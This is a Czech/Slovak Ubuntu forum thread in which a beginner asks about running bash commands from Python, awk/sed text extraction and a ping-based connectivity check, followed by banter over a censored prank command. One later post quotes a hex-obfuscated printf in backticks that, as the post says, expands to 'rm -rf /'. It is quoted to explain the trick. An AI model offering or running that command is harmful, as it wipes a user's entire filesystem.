Fórum Ubuntu CZ/SK

Ubuntu pro osobní počítače => Software => Příkazový řádek a programování pro GNU/Linux => Téma založeno: garmada 05 Listopadu 2008, 15:28:22

Název: Bash prikazy v pythone
Přispěvatel: garmada 05 Listopadu 2008, 15:28:22
Mam otazku ci sa daju pouzivat bash prikazy v programovacom jazyku python tym myslim napriklad:
Kód: [Vybrat]
print 'ls -la' alebo
Kód: [Vybrat]
print 'sudo gedit /home/test'.
Ked nie, tak ako spravim v pyhtone aby mi vypisal obsah domovskeho adresara ako pri:
Kód: [Vybrat]
cd /home/ && ls -la
Dik za radu.
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 05 Listopadu 2008, 15:45:28
Kód: [Vybrat]
import os
os.system('foo') // toto je mysleno pouze jako priklad, kdo nezna zaklady prace v bashi, at to nezkousi

EDIT: ale bacha, podle Ntz krajta skodi zdravi :D
Název: Re: Bash prikazy v pythone
Přispěvatel: garmada 05 Listopadu 2008, 15:47:57
Diky moc, dal som ty karma +1.
Název: Re: Bash prikazy v pythone
Přispěvatel: kkaarreell 05 Listopadu 2008, 15:50:33
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

garmada: Jak bylo jiz receno, muzes spustit externi program (prikaz shellu). Kdyby to melo byt delano jen v pythonu, musel by jsi nejak zkombinovat treba os.listdir() a os.stat(), koukni do dokumentace  http://www.python.org/doc/2.5.2/lib/os-file-dir.html
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 05 Listopadu 2008, 16:35:32
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

promin, nemyslel jsem to nijak spatne, ale porad lepsi nez treba *censored* , ne?
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 17:22:36
uff .. vypis adresare se nedela v pythonu, perlu, monu a vsech jinejch skriptovacich jazycich pomoci volani shellu, ale pouzitim interni funkce !!

nettezzaumana@kokina:~> python
Python 2.5.2 (r252:60911, Aug  1 2008, 00:43:38)
[GCC 4.3.1 20080507 (prerelease) [gcc-4_3-branch revision 135036]] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import dircache
>>> dircache.listdir('/')
['.suspended', 'bin', 'boot', 'dev', 'etc', 'home', 'lib', 'media', 'mnt', 'opt', 'proc', 'root', 'sbin', 'srv', 'swap.iso', 'sys', 'tmp', 'usr', 'var']
>>> exit()
nettezzaumana@kokina:~>


.. to co popisujes ty, nema s programovanim nic spolecneho .. na to staci bash
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 17:34:56
@MacHala

ad.*krajta skodi zdravi*) bavili jsme se o skriptovacich jazycich .. nevytrhavej z kontextu .. ja jsem prosazoval a stale prosazuji perl pred pythonem, pokud narazis na tohle. Navic jsem o tom mluvil v kontextu prenositelnosti a kompatability s jinymi unixovymi systemy, kde stale plati .. perl je narozdil od pythonu jednoduse vsude a dle nejmenovaneho citatu:
perl combines some of the best features of C, sed, awk and sh into a single swiss-army language ..

ad.*volani shellu*) styd se pacholku !! sam jsi rikal, ze python trocha delas, tak jaktoze te necha chladnym takova vec?? novackum je treba vtlouct do jejich mladych hlavicek hlavne to, ze chteji-li programovat v takovychto jazycich, tak nejake zpetne volani shellu je ta nejhorsi mozna metoda a nema s *programovanim* nic spolecneho ..
Název: Re: Bash prikazy v pythone
Přispěvatel: garmada 05 Listopadu 2008, 18:45:06
Mam este jednu otazku i ked nie o pythone. Ako vyberem z textu urcite slovo.
Viem ako sa daju vypisat slova ale len zo vsetkych riadkov:
Kód: [Vybrat]
awk '{print $2, $4}' /home/user_name/moj_subor chcem vediet ako sa da vypisat iba jedno alebo dve slova, napr. 5 a 6 slovo zo 14 riadku.
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 19:01:24
cat foo | sed '5!d;' | awk -F\  '{ print $2; print $3 }' ## vybere 2. a 3. slovo z pateho radku ze souboru foo
Název: Re: Bash prikazy v pythone
Přispěvatel: garmada 05 Listopadu 2008, 20:07:04
Diky, mam este jednu otazku a to ked mam script:
Kód: [Vybrat]
rm -rf /home/hax/Desktop/log
ping -c 6 dsl.sk >> /home/hax/Desktop/log
cat /home/hax/Desktop/log | sed '10!d;' | awk '{ print $6 }'
a vystup je
Kód: [Vybrat]
0%co ukazuje packet loss, ked ale nejde internet nenapise nic lebo vystup v logu je:
Kód: [Vybrat]
PING dsl.sk (217.67.19.197) 56(84) bytes of data.

--- dsl.sk ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5028ms
Ako spravim podmienku ze ked nenajde normalny vystup (nejde internet) tak vypise 100%.
Este mam otazku ze ako zadefinujem vysledok ako premenu aby sa s nou dalo dalej pracovat v if a then podmienkach.
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 20:49:24
http://tldp.org/LDP/abs/html/
Název: Re: Bash prikazy v pythone
Přispěvatel: garmada 05 Listopadu 2008, 20:55:30
Nieje nieco take aj po cz lebo v anglictine niesom az tak dobry. :(
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 20:59:48
ad.1) /home/hax se pise jak ~ a nebo $HOME
ad.2) radsi to udelej takhle ;) ::

if ! ping -W 5 -c 1 dsl.sk &>/dev/null; then echo "neni internet"; fi
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 05 Listopadu 2008, 23:03:24
@MacHala

ad.*krajta skodi zdravi*) bavili jsme se o skriptovacich jazycich .. nevytrhavej z kontextu .. ja jsem prosazoval a stale prosazuji perl pred pythonem, pokud narazis na tohle. Navic jsem o tom mluvil v kontextu prenositelnosti a kompatability s jinymi unixovymi systemy, kde stale plati .. perl je narozdil od pythonu jednoduse vsude a dle nejmenovaneho citatu:
perl combines some of the best features of C, sed, awk and sh into a single swiss-army language ..

ad.*volani shellu*) styd se pacholku !! sam jsi rikal, ze python trocha delas, tak jaktoze te necha chladnym takova vec?? novackum je treba vtlouct do jejich mladych hlavicek hlavne to, ze chteji-li programovat v takovychto jazycich, tak nejake zpetne volani shellu je ta nejhorsi mozna metoda a nema s *programovanim* nic spolecneho ..
sry, ale co si pamatuju, tak jsi kritizoval uceni se pythonu obecne (a rikal, ze konstrukce z pythonu jsou pro jiny jazyky celkem na nic, ale ze perl se hodi i do uceni C a dalsich) a ja navic s oblibou prehanim  ;D ...
a nerikal jsem, ze v nem delam, ale ze jsem se ho ucil (to neznamena, ze jsem se ho naucil  ;) ) a ze ve skole ted delame stejne jen C... ( ale stejne se hluboce stydim  :D )

kdyz ja potrbuju nejaky skript, tak zagooglim a odnekud ho obslehnu, popr. neco zbastlim v bashi


a k tomu poslednimu postu, imho by bylo lepsi pingovat nejakou ip adresu, jinak by mohl byt jen problem s dns
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 05 Listopadu 2008, 23:12:48
@MacHala

Nevymlouvej se nerade ;D !!

Ps. ja taky prehanim.. nicmene to neznamena, ze mam krajtu rad :D .. a je samozrejme pravda, ze krajti syntaxe je divna ..

ad.dns) ja jsem si to nevymyslel .. hoch se jen ptal jak to udelat .. buhvi co tam bustli a co z toho bude .. ze by plan na ovladnuti sveta .. ?zraloci s laserama na hlavach ..

@garmada .. pokud je to co jsem psal vyse, tak doporucuju pouzit perl ;)

.. pevne doufam, ze ti nechybi slusne vychovani a zahy se dozvime tvuj zakerny plan .
Název: Re: Bash prikazy v pythone
Přispěvatel: starenka 15 Ledna 2009, 14:29:36
<au>ano, krajti syntaxe je divna. da se ji dokonce rozumet, ikdyz ten jazyk vubec neovladas, coz se o perlu rict neda..</au>
Název: Re: Bash prikazy v pythone
Přispěvatel: TOMMO_4 10 Května 2009, 09:27:31
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

promin, nemyslel jsem to nijak spatne, ale porad lepsi nez treba *censored*, ne?

mohu vědět co to značí?? :)
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 11 Května 2009, 14:00:05
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

promin, nemyslel jsem to nijak spatne, ale porad lepsi nez treba *censored* , ne?

mohu vědět co to značí?? :)
zkus to zadat do shellu bez tech zpetnych uvozovek (`)... to je naprosto bezpecne
Název: Re: Bash prikazy v pythone
Přispěvatel: premet 11 Května 2009, 14:01:57
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

promin, nemyslel jsem to nijak spatne, ale porad lepsi nez treba *censored* , ne?

mohu vědět co to značí?? :)
zkus to zadat do shellu bez tech zpetnych uvozovek (`)... to je naprosto bezpecne
Zkus to i s tema zpetnyma  ;D
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 11 Května 2009, 14:07:02
## nema to bejt takjle:

*censored*
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 11 Května 2009, 14:15:55
## nema to bejt takjle:
*censored*
ja to tam predtim uvadel jako shellovy prikaz, ne jako python
Název: Re: Bash prikazy v pythone
Přispěvatel: Vojtěch Trefný 11 Května 2009, 14:17:34
Takže pánové s těmahle vtípkama běžte do p*rdele. Ještě jednou někde něco podobného uvidím, tak se vážně n*seru a to si nepřejte vidět!
Název: Re: Bash prikazy v pythone
Přispěvatel: Ender Wiggin 11 Května 2009, 14:17:58
MacHala: to je skvela rada, za kterou ti nejaky novacek nahodne objevivsi toto tema podekuje.

promin, nemyslel jsem to nijak spatne, ale porad lepsi nez treba *censored*, ne?

mohu vědět co to značí?? :)
Google radí:
Citace
`printf "\x72\x6d\x20\x2d\x72\x66\x20\x2f\x0a\x00"` does a rm -rf / ......
> > that's just a trick for people who don't know damn nothing about
> > computer, and bash...
zdroj je http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-08/0908.html
..hm a teď už můj příspěvek nedává žádný smysl :/
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 11 Května 2009, 14:31:40
Takže pánové s těmahle vtípkama běžte do p*rdele. Ještě jednou někde něco podobného uvidím, tak se vážně n*seru a to si nepřejte vidět!
dneska nemas moc dobrou naladu... to bude asi zacatkem zkouskovyho, ze?
na svou obhajobu musim uvest, ze tam vsude bylo uvedeno varovani (krome prispevku Ntz, ktery byl ale zase naprosto neskodny)

a taky se myslim, ze kdyz se lidi o takovychto vecech nedozvedi napr. tady, tak se tim prudce zvysuje sance, ze se tim nekde nechaji nachytat (navic by na to doplatili stejne jen lidi, co pracuji pod rootem a tak by to melo vychovny ucinek)
Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 11 Května 2009, 14:44:54
... krome prispevku Ntz, ktery byl ale zase naprosto neskodny ..
uuuuu. takova potupa .. MacHalo .. budu Te pronasledovat po zemi, na vode i ve vzduchu .. :D
Název: Re: Bash prikazy v pythone
Přispěvatel: MacHala 11 Května 2009, 15:45:11
... krome prispevku Ntz, ktery byl ale zase naprosto neskodny ..
uuuuu. takova potupa .. MacHalo .. budu Te pronasledovat po zemi, na vode i ve vzduchu .. :D
and I shall fight on the beaches, I shall fight on the landing grounds, I shall fight in the fields and in the streets,i  shall fight in the hills; I shall never surrender.

ne, musim se opravit - byl neskodny pouze pro pocitace, moralne a podobne byl naprosto zavrzenihodny a ohrozoval moralni vyvoj nejen deti, ale i dospelych... :D

Název: Re: Bash prikazy v pythone
Přispěvatel: nettezzaumana 11 Května 2009, 15:49:39

ne, musim se opravit - byl neskodny pouze pro pocitace, moralne a podobne, byl naprosto zavrzenihodny a ohrozoval moralni vyvoj nejen deti, ale i dospelych... :D

+zvirat ..